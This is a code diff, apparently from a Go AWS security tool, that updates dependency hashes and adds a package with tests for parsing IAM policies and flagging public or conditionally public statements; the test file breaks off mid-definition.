github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
|
||||
github.com/Azure/go-autorest/autorest v0.11.24/go.mod h1:G6kyRlFnTuSbEYkQGawPfsCswgme4iYf6rfSKUDzbCc=
|
||||
@@ -64,6 +74,8 @@ github.com/Azure/go-autorest/logger v0.2.1 h1:IG7i4p/mDa2Ce4TRyAO8IHnVhAVF3RFU+Z
|
||||
github.com/Azure/go-autorest/logger v0.2.1/go.mod h1:T9E3cAhj2VqvPOtCYAvby9aBXkZmbF5NWuPV8+WeEW8=
|
||||
github.com/Azure/go-autorest/tracing v0.6.0 h1:TYi4+3m5t6K48TGI9AUdb+IzbnSxvnvUMfuitfgcfuo=
|
||||
github.com/Azure/go-autorest/tracing v0.6.0/go.mod h1:+vhtPC754Xsa23ID7GlGsrdKBpUA79WCAKPPZVC2DeU=
|
||||
github.com/AzureAD/microsoft-authentication-library-for-go v0.8.1 h1:oPdPEZFSbl7oSPEAIPMPBMUmiL+mqgzBJwM/9qYcwNg=
|
||||
github.com/AzureAD/microsoft-authentication-library-for-go v0.8.1/go.mod h1:4qFor3D/HDsvBME35Xy9rwW9DecL+M2sNw1ybjPtwA0=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/aquasecurity/table v1.8.0 h1:9ntpSwrUfjrM6/YviArlx/ZBGd6ix8W+MtojQcM7tv0=
|
||||
@@ -71,8 +83,9 @@ github.com/aquasecurity/table v1.8.0/go.mod h1:eqOmvjjB7AhXFgFqpJUEE/ietg7RrMSJZ
|
||||
github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d h1:Byv0BzEl3/e6D5CLfI0j/7hiIEtvGVFPCZ7Ei2oq8iQ=
|
||||
github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw=
|
||||
github.com/aws/aws-sdk-go-v2 v1.17.1 h1:02c72fDJr87N8RAC2s3Qu0YuvMRZKNZJ9F+lAehCazk=
|
||||
github.com/aws/aws-sdk-go-v2 v1.17.1/go.mod h1:JLnGeGONAyi2lWXI1p0PCIOIy333JMVK1U7Hf0aRFLw=
|
||||
github.com/aws/aws-sdk-go-v2 v1.17.3 h1:shN7NlnVzvDUgPQ+1rLMSxY8OWRNDRYtiqe0p/PgrhY=
|
||||
github.com/aws/aws-sdk-go-v2 v1.17.3/go.mod h1:uzbQtefpm44goOPmdKyAlXSNcwlRgF3ePWVW6EtJvvw=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.9 h1:RKci2D7tMwpvGpDNZnGQw9wk6v7o/xSwFcUAuNPoB8k=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.9/go.mod h1:vCmV1q1VK8eoQJ5+aYE7PkK1K6v41qJ5pJdK3ggCDvg=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.18.3 h1:3kfBKcX3votFX84dm00U8RGA1sCCh3eRMOGzg5dCWfU=
|
||||
@@ -81,10 +94,12 @@ github.com/aws/aws-sdk-go-v2/credentials v1.13.3 h1:ur+FHdp4NbVIv/49bUjBW+FE7e57
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.13.3/go.mod h1:/rOMmqYBcFfNbRPU0iN9IgGqD5+V2yp3iWNmIlz0wI4=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.19 h1:E3PXZSI3F2bzyj6XxUXdTIfvp425HHhwKsFvmzBwHgs=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.19/go.mod h1:VihW95zQpeKQWVPGkwT+2+WJNQV8UXFfMTWdU6VErL8=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.25 h1:nBO/RFxeq/IS5G9Of+ZrgucRciie2qpLy++3UGZ+q2E=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.25/go.mod h1:Zb29PYkf42vVYQY6pvSyJCJcFHlPIiY+YKdPtwnvMkY=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.19 h1:oRHDrwCTVT8ZXi4sr9Ld+EXk7N/KGssOr2ygNeojEhw=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.27 h1:I3cakv2Uy1vNmmhRQmFptYDxOvBnwCdNwyw63N0RaRU=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.27/go.mod h1:a1/UpzeyBBerajpnP5nGZa9mGzsBn5cOKxm6NWQsvoI=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.19/go.mod h1:6Q0546uHDp421okhmmGfbxzq2hBqbXFNpi4k+Q1JnQA=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.21 h1:5NbbMrIzmUn/TXFqAle6mgrH5m9cOvMLRGL7pnG8tRE=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.21/go.mod h1:+Gxn8jYn5k9ebfHEqlhrMirFjSW0v0C9fI+KN5vk2kE=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.26 h1:Mza+vlnZr+fPKFKRq/lKGVvM6B/8ZZmNdEopOwSQLms=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.26/go.mod h1:Y2OJ+P+MC1u1VKnavT+PshiEuGPyh/7DqxoDNij4/bg=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.16 h1:2EXB7dtGwRYIN3XQ9qwIW504DVbKIw3r89xQnonGdsQ=
|
||||
@@ -113,6 +128,8 @@ github.com/aws/aws-sdk-go-v2/service/efs v1.18.0 h1:06pqrWeT8jrj8NIE0kovrFY3KC0p
|
||||
github.com/aws/aws-sdk-go-v2/service/efs v1.18.0/go.mod h1:DdO6hLx0XiYuj2Tn8VsR8et3BW1aXiv74GfsjHvhN9U=
|
||||
github.com/aws/aws-sdk-go-v2/service/eks v1.23.0 h1:roxmtB8AB5b/COvsD75AnswtsQOxqbjjvowmnX8IKDE=
|
||||
github.com/aws/aws-sdk-go-v2/service/eks v1.23.0/go.mod h1:bxjOnpk0lwAq4jmmTONfUGPjgO8sLAbflxTHsY7thkU=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticache v1.26.0 h1:hKb7jojTnBE4FWqO2VeQ/phXizYWi+LL4RSME2HQyq0=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticache v1.26.0/go.mod h1:gnN6CtMag9be9XGXsMenh084NcSy5pO0hriEYz/TERk=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.23 h1:wJdl2doHQU+60ETqLHfXtY4ywmm36ZHiinA/rVkTtl8=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing v1.14.23/go.mod h1:gHgx63dm28U/o5NotzfFWhxUASzcZuPgO8GDpsI1Aqw=
|
||||
github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2 v1.18.26 h1:gAy84CkCnK2vgh7Rj5tRzpqeATCPShVCIjJZ0g7iKNg=
|
||||
@@ -171,10 +188,11 @@ github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.8 h1:jcw6kKZrtNfBPJkaHrscDOZo
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.8/go.mod h1:er2JHN+kBY6FcMfcBBKNGCT3CarImmdFzishsqBmSRI=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.17.5 h1:60SJ4lhvn///8ygCzYy2l53bFW/Q15bVfyjyAWo6zuw=
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.17.5/go.mod h1:bXcN3koeVYiJcdDU89n3kCYILob7Y34AeLopUbZgLT4=
|
||||
github.com/aws/smithy-go v1.13.4 h1:/RN2z1txIJWeXeOkzX+Hk/4Uuvv7dWtCjbmVJcrskyk=
|
||||
github.com/aws/smithy-go v1.13.4/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
|
||||
github.com/bishopfox/awsservicemap v1.0.0 h1:iZOPsMPfMmugLhOctLJUqcCrkT5+NflF5DIv7EFomMs=
|
||||
github.com/bishopfox/awsservicemap v1.0.0/go.mod h1:oy9Fyqh6AozQjShSx+zRNouTlp7k3z3YEMoFkN8rquc=
|
||||
github.com/aws/smithy-go v1.13.5 h1:hgz0X/DX0dGqTYpGALqXJoRKRj5oQ7150i5FdTePzO8=
|
||||
github.com/aws/smithy-go v1.13.5/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
|
||||
github.com/bishopfox/awsservicemap v1.0.1 h1:TBsT2GlG22se6GXkcYS3jrb/sew62LuwN4kYg8InnJ4=
|
||||
github.com/bishopfox/awsservicemap v1.0.1/go.mod h1:oy9Fyqh6AozQjShSx+zRNouTlp7k3z3YEMoFkN8rquc=
|
||||
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
|
||||
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
|
||||
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
|
||||
@@ -190,6 +208,7 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U=
|
||||
github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
|
||||
github.com/dnaeon/go-vcr v1.1.0 h1:ReYa/UBrRyQdant9B4fNHGoCNKw6qh6P0fsdGmZpR7c=
|
||||
github.com/dominikbraun/graph v0.15.0 h1:U6N0fWJTDsUO9R5NhFE1Xi0YGGQ1+nKV9KO5apClf3E=
|
||||
github.com/dominikbraun/graph v0.15.0/go.mod h1:yOjYyogZLY1LSG9E33JWZJiq5k83Qy2C6POAuiViluc=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
@@ -292,6 +311,8 @@ github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORN
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
|
||||
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
|
||||
github.com/kyokomi/emoji v2.2.4+incompatible h1:np0woGKwx9LiHAQmwZx79Oc0rHpNw3o+3evou4BEPv4=
|
||||
github.com/kyokomi/emoji v2.2.4+incompatible/go.mod h1:mZ6aGCD7yk8j6QY6KICwnZ2pxoszVseX1DNoGtU2tBA=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
@@ -312,6 +333,8 @@ github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJ
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
|
||||
github.com/oklog/ulid v1.3.1 h1:EGfNDEx6MqHz8B3uNV6QAib1UR2Lm97sHi3ocA6ESJ4=
|
||||
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
|
||||
github.com/pkg/browser v0.0.0-20210115035449-ce105d075bb4 h1:Qj1ukM4GlMWXNdMBuXcXfz/Kw9s1qm0CLY32QxuSImI=
|
||||
github.com/pkg/browser v0.0.0-20210115035449-ce105d075bb4/go.mod h1:N6UoU20jOqggOuDwUaBQpluzLNDqif3kq9z2wpdYEfQ=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
@@ -437,6 +460,8 @@ golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v
|
||||
golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g=
|
||||
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
@@ -496,11 +521,11 @@ golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.2.0 h1:ljd4t30dBnAvMZaQCevtY0xLLD0A+bRZXbgLMLU1F/A=
|
||||
golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.2.0 h1:z85xZCsEl7bi/KwbNADeBYoOP0++7W1ipu+aGnpwzRM=
|
||||
golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc=
|
||||
golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
@@ -509,8 +534,8 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0 h1:BrVqGRd7+k1DiOgtnFvAkoQEWQvBc25ouMJM6429SFg=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
@@ -660,7 +685,6 @@ gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200605160147-a5ece683394c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
|
||||
+1
-1
@@ -73,7 +73,7 @@ func GetEnabledRegions(awsProfile string, version string) []string {
|
||||
|
||||
if err != nil {
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
AWSRegions, err := servicemap.GetAllRegions()
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html
|
||||
// Conditions have the folling general structure:
|
||||
// "Condition" : { "{condition-operator}" : { "{condition-key}" : "{condition-value}" }}
|
||||
type PolicyStatementCondition map[string]map[string]ListOrString
|
||||
|
||||
func (psc *PolicyStatementCondition) IsEmpty() bool {
|
||||
if psc == nil {
|
||||
return true
|
||||
}
|
||||
|
||||
return len(*psc) == 0
|
||||
}
|
||||
|
||||
// IsScopedOnAccountOrOrganization returns true if the policy condition ensures access only for specific
|
||||
// AWS accounts or organizations. If may return false even if access is restricted in such a way.
|
||||
// Such policies should be reported to the user and analyzed case by case to judge if conditions are sufficently restrictive.
|
||||
func (psc *PolicyStatementCondition) IsScopedOnAccountOrOrganization() bool {
|
||||
for condition, kv := range *psc {
|
||||
for k, v := range kv {
|
||||
if strings.ToLower(condition) == "stringequals" && contains([]string{
|
||||
"aws:sourceowner", // https://docs.aws.amazon.com/sns/latest/dg/sns-access-policy-use-cases.html#source-account-versus-source-owner
|
||||
"aws:sourceaccount", // https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-sourceaccount
|
||||
"aws:principalaccount", // https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalaccount
|
||||
"aws:principalorgid", // https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-principalorgid
|
||||
"sns:endpoint", // https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html#sns-policy-keys
|
||||
}, strings.ToLower(k)) {
|
||||
return len(v) > 0
|
||||
}
|
||||
|
||||
if strings.ToLower(condition) == "stringlike" && contains([]string{
|
||||
"sns:endpoint", // https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html#sns-policy-keys
|
||||
}, strings.ToLower(k)) {
|
||||
return isAccountIDInWildcardPattern(v)
|
||||
}
|
||||
|
||||
// handling for aws:SourceArn
|
||||
// https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-sourcearn
|
||||
if contains([]string{
|
||||
"arnequals",
|
||||
"stringequals",
|
||||
}, strings.ToLower(condition)) && strings.ToLower(k) == "aws:sourcearn" {
|
||||
return len(v) > 0 // this means there is an exact AWS resource
|
||||
}
|
||||
|
||||
if contains([]string{
|
||||
"arnlike",
|
||||
"stringlike",
|
||||
}, strings.ToLower(condition)) && strings.ToLower(k) == "aws:sourcearn" {
|
||||
return isAccountIDInWildcardPattern(v)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// isAccountIDInWildcardPattern returns true iff at least one entry in v
|
||||
// contains an ARN pattern with a full account ID.
|
||||
func isAccountIDInWildcardPattern(v []string) bool {
|
||||
for _, e := range v {
|
||||
s := getAccountIDInARN(e)
|
||||
if s != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// Format: arn:aws:<service>:<optional-region>:<account-id>:<rest-of-the-arn>
|
||||
var reAccountIDInARN = regexp.MustCompile(`arn:aws:[a-zA-Z0-9]+:[a-zA-Z0-9-]*:([0-9]+):`)
|
||||
|
||||
func getAccountIDInARN(arn string) string {
|
||||
match := reAccountIDInARN.FindStringSubmatch(arn)
|
||||
if len(match) != 2 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return match[1]
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
package policy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestGetAccountIDInARN(t *testing.T) {
|
||||
tests := []struct {
|
||||
S string
|
||||
want string
|
||||
}{
|
||||
{S: "abc123", want: ""},
|
||||
{S: "arn:aws:iam::123456789012:root", want: "123456789012"},
|
||||
{S: "arn:aws:iam::123456789012:role/any-role-name", want: "123456789012"},
|
||||
{S: "arn:aws:sts::123456789012:assumed-role/any-role-name/session-name", want: "123456789012"},
|
||||
{S: "arn:aws:iam::123456789012:user/any-user-name", want: "123456789012"},
|
||||
{S: "arn:aws:sts::123456789012:federated-user/any-user-name", want: "123456789012"},
|
||||
{S: "arn:aws:cloudwatch:us-east-2:123456789012:alarm:*", want: "123456789012"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
|
||||
actual := getAccountIDInARN(tt.S)
|
||||
if tt.want != actual {
|
||||
t.Errorf("getAccountIDInARN(%s) wrong: want %s but got %s", tt.S, tt.want, actual)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Policy struct {
|
||||
Version string `json:"Version"`
|
||||
Id string `json:"Id"`
|
||||
Statement []PolicyStatement `json:"Statement"`
|
||||
}
|
||||
|
||||
func ParseJSONPolicy(data []byte) (Policy, error) {
|
||||
var p Policy
|
||||
if err := json.Unmarshal(data, &p); err != nil {
|
||||
return p, fmt.Errorf("unmarshal JSON: %s", err)
|
||||
}
|
||||
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// IsNull returns true iff the Policy is empty
|
||||
// you cannot do a comparison like this: `p == Policy{}' since we use custom types in the struct`
|
||||
func (p *Policy) IsEmpty() bool {
|
||||
out := true
|
||||
|
||||
out = out && p.Version == ""
|
||||
out = out && p.Id == ""
|
||||
|
||||
for _, s := range p.Statement {
|
||||
out = out && s.IsEmpty()
|
||||
}
|
||||
|
||||
return out
|
||||
}
|
||||
|
||||
// true iff there is at least one statement with principal * and no conditions
|
||||
func (p *Policy) IsPublic() bool {
|
||||
for _, s := range p.Statement {
|
||||
if s.IsAllow() && s.Principal.IsPublic() && s.Condition.IsEmpty() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// true iff there is at least one statement with principal * with conditions that do not scope access down to AWS accounts or organizations
|
||||
func (p *Policy) IsConditionallyPublic() bool {
|
||||
for _, s := range p.Statement {
|
||||
if s.IsAllow() && s.Principal.IsPublic() && !s.Condition.IsScopedOnAccountOrOrganization() && !s.Condition.IsEmpty() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func unique(slice []string) []string {
|
||||
m := make(map[string]struct{})
|
||||
for _, v := range slice {
|
||||
m[v] = struct{}{}
|
||||
}
|
||||
|
||||
out := make([]string, 0, len(m))
|
||||
for v := range m {
|
||||
out = append(out, v)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func contains(list []string, elem string) bool {
|
||||
for _, e := range list {
|
||||
if e == elem {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// ensure we don't loose information after parsing and remarshaling
|
||||
// we marshal only for testing, the output will not necessarily be a valid IAM policy
|
||||
func TestParsePolicy(t *testing.T) {
|
||||
tests := []struct {
|
||||
filename string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
filename: "amazon-ec2-full-access.json",
|
||||
want: `{"Version":"2012-10-17","Id":"","Statement":[{"Effect":"Allow","Principal":{},"Action":["ec2:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["elasticloadbalancing:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["cloudwatch:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["autoscaling:*"],"Resource":["*"]},{"Effect":"Allow","Principal":{},"Action":["iam:CreateServiceLinkedRole"],"Resource":["*"],"Condition":{"StringEquals":{"iam:AWSServiceName":["autoscaling.amazonaws.com","ec2scheduled.amazonaws.com","elasticloadbalancing.amazonaws.com","spot.amazonaws.com","spotfleet.amazonaws.com","transitgateway.amazonaws.com"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sns-conditionally-public.json",
|
||||
want: `{"Version":"","Id":"","Statement":[{"Effect":"Allow","Principal":"*","Action":["SNS:Publish"],"Resource":["arn:aws:sns:us-east-1:123456789012:MyFirstTopic"],"Condition":{"StringEquals":{"aws:sourceVpce":["vpce-1a2b3c4d"]}}}]}`,
|
||||
},
|
||||
{
|
||||
filename: "sns-shared-via-condition.json",
|
||||
